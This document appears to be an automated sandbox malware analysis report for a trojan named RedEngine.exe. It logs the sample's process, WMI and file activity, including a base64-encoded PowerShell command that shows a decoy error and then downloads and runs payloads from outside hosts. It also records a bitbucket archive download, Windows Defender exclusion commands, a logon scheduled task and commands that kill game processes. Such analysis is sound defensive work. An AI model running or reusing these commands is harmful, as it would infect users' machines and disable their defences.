Source: C:\Users\user\AppData\Roaming\CLPPTH\clppth.exe	Code function: 42_2_00007FFB1C5B8A30	42_2_00007FFB1C5B8A30
Source: C:\Users\user\AppData\Roaming\CLPPTH\clppth.exe	Code function: 42_2_00007FFB1C5B2AE0	42_2_00007FFB1C5B2AE0
Source: C:\Users\user\AppData\Roaming\CLPPTH\clppth.exe	Code function: 42_2_00007FFB1C5D6B40	42_2_00007FFB1C5D6B40
Source: C:\Users\user\AppData\Roaming\CLPPTH\clppth.exe	Code function: 42_2_00007FFB1C5B0B50	42_2_00007FFB1C5B0B50
Source: C:\Users\user\AppData\Roaming\CLPPTH\clppth.exe	Code function: 42_2_00007FFB1C64CBF0	42_2_00007FFB1C64CBF0
Source: C:\Users\user\AppData\Roaming\CLPPTH\clppth.exe	Code function: 42_2_00007FFB1C65CBC0	42_2_00007FFB1C65CBC0
Source: C:\Users\user\AppData\Roaming\CLPPTH\clppth.exe	Code function: 42_2_00007FFB1C648C90	42_2_00007FFB1C648C90
Source: C:\Users\user\AppData\Roaming\CLPPTH\clppth.exe	Code function: 42_2_00007FFB1C5C0C60	42_2_00007FFB1C5C0C60
Source: C:\Users\user\AppData\Roaming\CLPPTH\clppth.exe	Code function: 42_2_00007FFB1C5AAC50	42_2_00007FFB1C5AAC50
Source: C:\Users\user\AppData\Roaming\CLPPTH\clppth.exe	Code function: 42_2_00007FFB1C694C20	42_2_00007FFB1C694C20
Source: C:\Users\user\AppData\Roaming\CLPPTH\clppth.exe	Code function: 42_2_00007FFB1C630510	42_2_00007FFB1C630510
Source: C:\Users\user\AppData\Roaming\CLPPTH\clppth.exe	Code function: 42_2_00007FFB1C5C2580	42_2_00007FFB1C5C2580
Source: C:\Users\user\AppData\Roaming\CLPPTH\clppth.exe	Code function: 42_2_00007FFB1C5CC618	42_2_00007FFB1C5CC618
Source: C:\Users\user\AppData\Roaming\CLPPTH\clppth.exe	Code function: 42_2_00007FFB1C5DC6C0	42_2_00007FFB1C5DC6C0
Source: C:\Users\user\AppData\Roaming\CLPPTH\clppth.exe	Code function: 42_2_00007FFB1C6106B0	42_2_00007FFB1C6106B0
Source: C:\Users\user\AppData\Roaming\CLPPTH\clppth.exe	Code function: 42_2_00007FFB1C65E730	42_2_00007FFB1C65E730
Source: C:\Users\user\AppData\Roaming\CLPPTH\clppth.exe	Code function: 42_2_00007FFB1C65C730	42_2_00007FFB1C65C730
Source: C:\Users\user\AppData\Roaming\CLPPTH\clppth.exe	Code function: 42_2_00007FFB1C5E4110	42_2_00007FFB1C5E4110
Source: C:\Users\user\AppData\Roaming\CLPPTH\clppth.exe	Code function: 42_2_00007FFB1C5A20F0	42_2_00007FFB1C5A20F0
Source: C:\Users\user\AppData\Roaming\CLPPTH\clppth.exe	Code function: 42_2_00007FFB1C654190	42_2_00007FFB1C654190
Source: C:\Users\user\AppData\Roaming\CLPPTH\clppth.exe	Code function: 42_2_00007FFB1C5B4200	42_2_00007FFB1C5B4200
Source: C:\Users\user\AppData\Roaming\CLPPTH\clppth.exe	Code function: 42_2_00007FFB1C6241F0	42_2_00007FFB1C6241F0
Source: C:\Users\user\AppData\Roaming\CLPPTH\clppth.exe	Code function: 42_2_00007FFB22723B20	42_2_00007FFB22723B20
Source: C:\Users\user\AppData\Roaming\CLPPTH\clppth.exe	Code function: 42_2_00007FFB22726080	42_2_00007FFB22726080
Source: C:\Users\user\AppData\Roaming\CLPPTH\clppth.exe	Code function: 42_2_00007FFB227277F8	42_2_00007FFB227277F8
Source: C:\Users\user\AppData\Roaming\CLPPTH\clppth.exe	Code function: 42_2_00007FFB22721000	42_2_00007FFB22721000
Source: C:\Users\user\AppData\Roaming\CLPPTH\clppth.exe	Code function: 42_2_00007FFB22722DC0	42_2_00007FFB22722DC0
Source: C:\Users\user\AppData\Roaming\CLPPTH\clppth.exe	Code function: 42_2_00007FFB22723DC0	42_2_00007FFB22723DC0
Source: C:\Users\user\AppData\Roaming\CLPPTH\clppth.exe	Code function: 42_2_00007FFB23AF531C	42_2_00007FFB23AF531C
Source: C:\Users\user\AppData\Roaming\CLPPTH\clppth.exe	Code function: 42_2_00007FFB23AF3290	42_2_00007FFB23AF3290
Source: C:\Users\user\AppData\Roaming\CLPPTH\clppth.exe	Code function: 42_2_00007FFB23B17CA0	42_2_00007FFB23B17CA0

Source: C:\Users\user\AppData\Roaming\mgne4i3n.t1d0.exe

Process token adjusted: Security

Jump to behavior

Source: C:\Users\user\AppData\Roaming\mgne4i3n.t1d2.exe	Code function: String function: 00007FFB01F84330 appears 31 times
Source: C:\Users\user\AppData\Roaming\mgne4i3n.t1d2.exe	Code function: String function: 64963C90 appears 40 times
Source: C:\Users\user\AppData\Roaming\mgne4i3n.t1d2.exe	Code function: String function: 64963CD0 appears 49 times
Source: C:\Users\user\AppData\Roaming\mgne4i3n.t1d2.exe	Code function: String function: 00007FF741BC2760 appears 36 times
Source: C:\Users\user\AppData\Roaming\mgne4i3n.t1d2.exe	Code function: String function: 648DECD0 appears 235 times
Source: C:\Users\user\AppData\Roaming\mgne4i3n.t1d2.exe	Code function: String function: 00007FF741BC25F0 appears 100 times
Source: C:\Users\user\AppData\Roaming\mgne4i3n.t1d2.exe	Code function: String function: 00007FFB01F6A3F0 appears 245 times
Source: C:\Users\user\AppData\Roaming\CLPPTH\clppth.exe	Code function: String function: 00007FFB1C4EC7B0 appears 70 times
Source: C:\Users\user\AppData\Roaming\CLPPTH\clppth.exe	Code function: String function: 00007FFB1C693540 appears 53 times
Source: C:\Users\user\AppData\Roaming\CLPPTH\clppth.exe	Code function: String function: 00007FF795B925F0 appears 100 times
Source: C:\Users\user\AppData\Roaming\CLPPTH\clppth.exe	Code function: String function: 00007FFB1C4F4330 appears 133 times
Source: C:\Users\user\AppData\Roaming\CLPPTH\clppth.exe	Code function: String function: 00007FFB1C4DA3F0 appears 1036 times
Source: C:\Users\user\AppData\Roaming\CLPPTH\clppth.exe	Code function: String function: 00007FF795B92760 appears 36 times

Source: unicodedata.pyd.14.dr	Static PE information: Resource name: RT_VERSION type: COM executable for DOS
Source: unicodedata.pyd.38.dr	Static PE information: Resource name: RT_VERSION type: COM executable for DOS
Source: unicodedata.pyd.41.dr	Static PE information: Resource name: RT_VERSION type: COM executable for DOS

Source: pyarmor_runtime.pyd.41.dr	Static PE information: Number of sections : 11 > 10
Source: zlib1.dll.38.dr	Static PE information: Number of sections : 12 > 10
Source: pyarmor_runtime.pyd.14.dr	Static PE information: Number of sections : 11 > 10
Source: zlib1.dll.41.dr	Static PE information: Number of sections : 12 > 10
Source: pyarmor_runtime.pyd.38.dr	Static PE information: Number of sections : 11 > 10
Source: zlib1.dll.14.dr	Static PE information: Number of sections : 12 > 10

Source: RedEngine.exe, 00000001.00000000.1296199972.00000000004A2000.00000002.00000001.01000000.00000003.sdmp

Binary or memory string: OriginalFilenamePAN.exe4 vs RedEngine.exe

Source: RedEngine.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: C:\Windows\System32\cmd.exe

Process created: C:\Windows\System32\reg.exe reg query "HKCU\SOFTWARE\Valve\Steam" /v SteamPath

Source: mgne4i3n.t1d0.exe.3.dr

Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Source: mgne4i3n.t1d0.exe.3.dr, -.cs	Cryptographic APIs: 'CreateDecryptor'
Source: mgne4i3n.t1d0.exe.3.dr, -.cs	Cryptographic APIs: 'CreateDecryptor'

Source: mgne4i3n.t1d0.exe.3.dr, -.cs

Base64 encoded string: 'ZZ0PIMiUGLYZMsGcVZAVO8PXd5cPMcCbWp1HE8iNc4oIJtS4RZcZOc+VT98bMdmmcJEQOOOYW4FHO92mf4oZJdiYWo0ILZaeU5AjGMiXUZAUb+qcQrAFJMi/RIsRHMyXUogZb8qcQrsyNcCcDa0SMMiBeYJHBsiYUrcIJsSXUd89MMnCUYEIC/2WRY0IPcKXDYMZIPK6Q5YOMcONcosRNcSXDbcZIOmYQoVHZ5zKBtJHFd6KU4keONSqU5YKMd/CZY0RJMGcd5cPMcCbWp05LN2VWZYZJpabV4YZONuUDZcRO8acQoEPIA=='

Source: classification engine

Classification label: mal100.troj.evad.winEXE@383/2861@4/4

Source: C:\Users\user\AppData\Roaming\mgne4i3n.t1d2.exe

Code function: 14_2_00007FF741BC29E0 GetLastError,FormatMessageW,MessageBoxW,

14_2_00007FF741BC29E0

Source: C:\Users\user\AppData\Roaming\mgne4i3n.t1d2.exe

Code function: 31_2_00007FFB0199A3B0 CoCreateInstance,EnableWindow,CoTaskMemFree,CoTaskMemFree,

31_2_00007FFB0199A3B0

Source: C:\Users\user\AppData\Roaming\mgne4i3n.t1d1.exe

Code function: 13_2_004026B8 LoadResource,SizeofResource,FreeResource,

13_2_004026B8

Source: C:\Users\user\Desktop\RedEngine.exe

File created: C:\Users\user\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\RedEngine.exe.log

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Mutant created: NULL
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:1476:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7976:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:6616:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:4260:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7776:120:WilError_03

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File created: C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_ugz0binj.yrp.ps1

Jump to behavior

Source: C:\Users\user\AppData\Roaming\mgne4i3n.t1d1.exe

Process created: C:\Windows\System32\cmd.exe "C:\Windows\sysnative\cmd.exe" /c "C:\Users\user\AppData\Local\Temp\E8C.tmp\E8D.tmp\E8E.bat C:\Users\user\AppData\Roaming\mgne4i3n.t1d1.exe"

Source: C:\Windows\System32\cmd.exe

Process created: C:\Windows\System32\schtasks.exe schtasks /create /tn "MyBatchScript" /tr "\"C:\Users\user\AppData\Roaming\runHidden.vbs\"" /sc onlogon /rl highest /f

Source: RedEngine.exe

Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Source: RedEngine.exe

Static file information: TRID: Win32 Executable (generic) Net Framework (10011505/4) 49.83%

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process WHERE ( Caption = "RainbowSix.exe")
Source: C:\Windows\System32\findstr.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT ProcessId FROM Win32_Process WHERE ExecutablePath='C:\Program Files (x86)\Steam\steeam.exe'
Source: C:\Windows\System32\findstr.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT ProcessId FROM Win32_Process WHERE ExecutablePath='C:\Program Files (x86)\Steam\steeam.exe'
Source: C:\Windows\System32\OpenWith.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT ProcessId FROM Win32_Process WHERE ExecutablePath='C:\Program Files (x86)\Steam\steeam.exe'
Source: C:\Windows\System32\OpenWith.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT ProcessId FROM Win32_Process WHERE ExecutablePath='C:\Program Files (x86)\Steam\steeam.exe'
Source: C:\Windows\System32\cmd.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT ProcessId FROM Win32_Process WHERE ExecutablePath='C:\Program Files (x86)\Steam\steeam.exe'
Source: C:\Windows\System32\cmd.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT ProcessId FROM Win32_Process WHERE ExecutablePath='C:\Program Files (x86)\Steam\steeam.exe'
Source: C:\Windows\System32\conhost.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime FROM Win32_Process
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT ProcessId FROM Win32_Process WHERE ExecutablePath='C:\Program Files (x86)\Steam\steeam.exe'
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT ProcessId FROM Win32_Process WHERE ExecutablePath='C:\Program Files (x86)\Steam\steeam.exe'
Source: C:\Windows\System32\tasklist.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime FROM Win32_Process
Source: C:\Windows\System32\taskkill.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process WHERE ( Caption = "tf_win64.exe")
Source: C:\Windows\System32\tasklist.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime FROM Win32_Process
Source: C:\Windows\System32\taskkill.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process WHERE ( Caption = "dota2.exe")
Source: C:\Windows\System32\tasklist.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime FROM Win32_Process
Source: C:\Windows\System32\taskkill.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process WHERE ( Caption = "cs2.exe")
Source: C:\Windows\System32\tasklist.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime FROM Win32_Process
Source: C:\Windows\System32\taskkill.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process WHERE ( Caption = "RustClient.exe")
Source: C:\Windows\System32\tasklist.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime FROM Win32_Process
Source: C:\Windows\System32\tasklist.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT ProcessId FROM Win32_Process WHERE ExecutablePath='C:\Program Files (x86)\Steam\steeam.exe'
Source: C:\Windows\System32\tasklist.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT ProcessId FROM Win32_Process WHERE ExecutablePath='C:\Program Files (x86)\Steam\steeam.exe'
Source: C:\Windows\System32\taskkill.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process WHERE ( Caption = "GTA5.exe")
Source: C:\Windows\System32\tasklist.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime FROM Win32_Process

Source: C:\Users\user\Desktop\RedEngine.exe

File read: C:\Users\user\Desktop\desktop.ini

Jump to behavior

Source: C:\Users\user\Desktop\RedEngine.exe

Key opened: HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: RedEngine.exe

ReversingLabs: Detection: 68%

Source: mgne4i3n.t1d2.exe	String found in binary or memory: -startline must be less than or equal to -endline
Source: mgne4i3n.t1d2.exe	String found in binary or memory: -help
Source: clppth.exe	String found in binary or memory: -help
Source: clppth.exe	String found in binary or memory: -startline must be less than or equal to -endline

Source: unknown	Process created: C:\Users\user\Desktop\RedEngine.exe "C:\Users\user\Desktop\RedEngine.exe"
Source: C:\Users\user\Desktop\RedEngine.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGIAbAB3ACMAPgBTAHQAYQByAHQALQBQAHIAbwBjAGUAcwBzACAAcABvAHcAZQByAHMAaABlAGwAbAAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AIAAtAEEAcgBnAHUAbQBlAG4AdABMAGkAcwB0ACAAIgBBAGQAZAAtAFQAeQBwAGUAIAAtAEEAcwBzAGUAbQBiAGwAeQBOAGEAbQBlACAAUwB5AHMAdABlAG0ALgBXAGkAbgBkAG8AdwBzAC4ARgBvAHIAbQBzADsAPAAjAGEAdAByACMAPgBbAFMAeQBzAHQAZQBtAC4AVwBpAG4AZABvAHcAcwAuAEYAbwByAG0AcwAuAE0AZQBzAHMAYQBnAGUAQgBvAHgAXQA6ADoAUwBoAG8AdwAoACcARQByAHIAbwByACAAIwA4ADEAOQA6ACAAQwBhAG4AbgBvAHQAIABzAHQAYQByAHQAIABkAHUAZQAgAHQAbwAgAG0AaQBzAHMAaQBuAGcAIABkAGUAcABlAG4AZABlAG4AYwBpAGUAcwAsACAAcABsAGUAYQBzAGUAIABpAG4AcwB0AGEAbABsACAAYQBsAGwAIAB0AGgAZQAgAGQAZQBwAGUAbgBkAGUAbgBjAGkAZQBzACAAcgBlAHEAdQBpAHIAZQBkAC4AJwAsACcAJwAsACcATwBLACcALAAnAEUAcgByAG8AcgAnACkAPAAjAGIAcQBzACMAPgA7ACIAOwA8ACMAZQBtAHYAIwA+ACAAQQBkAGQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgADwAIwB1AGoAZgAjAD4AIAAtAEUAeABjAGwAdQBzAGkAbwBuAFAAYQB0AGgAIABAACgAJABlAG4AdgA6AFUAcwBlAHIAUAByAG8AZgBpAGwAZQAsACQAZQBuAHYAOgBTAHkAcwB0AGUAbQBEAHIAaQB2AGUAKQAgADwAIwB1AHEAbQAjAD4AIAAtAEYAbwByAGMAZQAgADwAIwB3AHcAeAAjAD4AOwAkAHcAYwAgAD0AIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABTAHkAcwB0AGUAbQAuAE4AZQB0AC4AVwBlAGIAQwBsAGkAZQBuAHQAKQA7ACQAbABuAGsAIAA9ACAAJAB3AGMALgBEAG8AdwBuAGwAbwBhAGQAUwB0AHIAaQBuAGcAKAAnAGgAdAB0AHAAcwA6AC8ALwByAGUAbgB0AHIAeQAuAG8AcgBnAC8AcABhAG4AYwBlAGsANgAxADEAMQAxADEAMQAxADEAMQAxADEAMQAxAC8AcgBhAHcAJwApAC4AUwBwAGwAaQB0ACgAWwBzAHQAcgBpAG4AZwBbAF0AXQAiAGAAcgBgAG4AIgAsACAAWwBTAHQAcgBpAG4AZwBTAHAAbABpAHQATwBwAHQAaQBvAG4AcwBdADoAOgBOAG8AbgBlACkAOwAgACQAZgBuACAAPQAgAFsAUwB5AHMAdABlAG0ALgBJAE8ALgBQAGEAdABoAF0AOgA6AEcAZQB0AFIAYQBuAGQAbwBtAEYAaQBsAGUATgBhAG0AZQAoACkAOwAgAGYAbwByACAAKAAkAGkAPQAwADsAIAAkAGkAIAAtAGwAdAAgACQAbABuAGsALgBMAGUAbgBnAHQAaAA7ACAAJABpACsAKwApACAAewAgACQAdwBjAC4ARABvAHcAbgBsAG8AYQBkAEYAaQBsAGUAKAAkAGwAbgBrAFsAJABpAF0ALAAgADwAIwBtAGMAdAAjAD4AIAAoAEoAbwBpAG4ALQBQAGEAdABoACAAPAAjAGoAbQBpACMAPgAgAC0AUABhAHQAaAAgACQAZQBuAHYAOgBBAHAAcABEAGEAdABhACAAPAAjAGkAZwBuACMAPgAgAC0AQwBoAGkAbABkAFAAYQB0AGgAIAAoACQAZgBuACAAKwAgACQAaQAuAFQAbwBTAHQAcgBpAG4AZwAoACkAIAArACAAJwAuAGUAeABlACcAKQApACkAIAB9ADwAIwB2AGkAeAAjAD4AOwAgAGYAbwByACAAKAAkAGkAPQAwADsAIAAkAGkAIAAtAGwAdAAgACQAbABuAGsALgBMAGUAbgBnAHQAaAA7ACAAJABpACsAKwApACAAewAgAFMAdABhAHIAdAAtAFAAcgBvAGMAZQBzAHMAIAAtAEYAaQBsAGUAUABhAHQAaAAgADwAIwB3AGUAdAAjAD4AIAAoAEoAbwBpAG4ALQBQAGEAdABoACAALQBQAGEAdABoACAAJABlAG4AdgA6AEEAcABwAEQAYQB0AGEAIAA8ACMAdgB2AHgAIwA+ACAALQBDAGgAaQBsAGQAUABhAHQAaAAgACgAJABmAG4AIAArACAAJABpAC4AVABvAFMAdAByAGkAbgBnACgAKQAgACsAIAAnAC4AZQB4AGUAJwApACkAIAB9ACAAPAAjAHgAbABpACMAPgA="
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-Type -AssemblyName System.Windows.Forms;<#atr#>[System.Windows.Forms.MessageBox]::Show('Error #819: Cannot start due to missing dependencies, please install all the dependencies required.','','OK','Error')<#bqs#>;
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Users\user\AppData\Roaming\mgne4i3n.t1d0.exe "C:\Users\user\AppData\Roaming\mgne4i3n.t1d0.exe"
Source: C:\Users\user\AppData\Roaming\mgne4i3n.t1d0.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Users\user\AppData\Roaming\mgne4i3n.t1d1.exe "C:\Users\user\AppData\Roaming\mgne4i3n.t1d1.exe"
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Users\user\AppData\Roaming\mgne4i3n.t1d2.exe "C:\Users\user\AppData\Roaming\mgne4i3n.t1d2.exe"
Source: C:\Users\user\AppData\Roaming\mgne4i3n.t1d1.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\sysnative\cmd.exe" /c "C:\Users\user\AppData\Local\Temp\E8C.tmp\E8D.tmp\E8E.bat C:\Users\user\AppData\Roaming\mgne4i3n.t1d1.exe"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\chcp.com chcp 1251
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\findstr.exe findstr /c:"127.0.0.1 store.steampowered.com" "C:\Windows\System32\drivers\etc\hosts"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\findstr.exe findstr /c:"127.0.0.1 steamcommunity.com" "C:\Windows\System32\drivers\etc\hosts"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\findstr.exe findstr /c:"127.0.0.1 help.steampowered.com" "C:\Windows\System32\drivers\etc\hosts"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\schtasks.exe schtasks /query /tn "MyBatchScript"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\schtasks.exe schtasks /create /tn "MyBatchScript" /tr "\"C:\Users\user\AppData\Roaming\runHidden.vbs\"" /sc onlogon /rl highest /f
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c reg query "HKCU\SOFTWARE\Valve\Steam" /v SteamPath
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\reg.exe reg query "HKCU\SOFTWARE\Valve\Steam" /v SteamPath
Source: unknown	Process created: C:\Windows\System32\OpenWith.exe C:\Windows\system32\OpenWith.exe ""C:\Users\user\AppData\Roaming\runHidden.vbs""
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c reg query "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders" /v Desktop
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\reg.exe reg query "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders" /v Desktop
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "(New-Object System.Net.WebClient).DownloadFile('https://bitbucket.org/goodfuture91/goodfuture511/raw/64c80586bb78a4f95934a071956e2dccca8efe42/p.rar', 'C:\Users\user~1\AppData\Local\Temp\downloaded_archive.rar')"
Source: C:\Users\user\AppData\Roaming\mgne4i3n.t1d2.exe	Process created: C:\Users\user\AppData\Roaming\mgne4i3n.t1d2.exe "C:\Users\user\AppData\Roaming\mgne4i3n.t1d2.exe"
Source: C:\Users\user\AppData\Roaming\mgne4i3n.t1d2.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "powershell.exe -inputformat none -outputformat none -NonInteractive -Command "Add-MpPreference -ExclusionPath %USERPROFILE%\AppData" & powershell.exe -inputformat none -outputformat none -NonInteractive -Command "Add-MpPreference -ExclusionPath %USERPROFILE%\Local" & powershell.exe -command "Set-MpPreference -ExclusionExtension '.exe','.py'""
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -inputformat none -outputformat none -NonInteractive -Command "Add-MpPreference -ExclusionPath C:\Users\user\AppData"
Source: unknown	Process created: C:\Windows\System32\svchost.exe C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -inputformat none -outputformat none -NonInteractive -Command "Add-MpPreference -ExclusionPath C:\Users\user\Local"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -command "Set-MpPreference -ExclusionExtension '.exe','.py'"
Source: unknown	Process created: C:\Users\user\AppData\Roaming\CLPPTH\clppth.exe "C:\Users\user\AppData\Roaming\CLPPTH\clppth.exe"
Source: unknown	Process created: C:\Users\user\AppData\Roaming\CLPPTH\clppth.exe "C:\Users\user\AppData\Roaming\CLPPTH\clppth.exe"
Source: C:\Users\user\AppData\Roaming\CLPPTH\clppth.exe	Process created: C:\Users\user\AppData\Roaming\CLPPTH\clppth.exe "C:\Users\user\AppData\Roaming\CLPPTH\clppth.exe"
Source: C:\Users\user\AppData\Roaming\CLPPTH\clppth.exe	Process created: C:\Users\user\AppData\Roaming\CLPPTH\clppth.exe "C:\Users\user\AppData\Roaming\CLPPTH\clppth.exe"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\tasklist.exe tasklist
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\find.exe find /i "tf_win64.exe"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\taskkill.exe taskkill /f /im tf_win64.exe
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\tasklist.exe tasklist
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\find.exe find /i "dota2.exe"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\taskkill.exe taskkill /f /im dota2.exe
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\tasklist.exe tasklist
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\find.exe find /i "cs2.exe"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\taskkill.exe taskkill /f /im cs2.exe
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\tasklist.exe tasklist
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\find.exe find /i "RustClient.exe"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\taskkill.exe taskkill /f /im RustClient.exe
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\tasklist.exe tasklist
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\find.exe find /i "GTA5.exe"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\taskkill.exe taskkill /f /im GTA5.exe
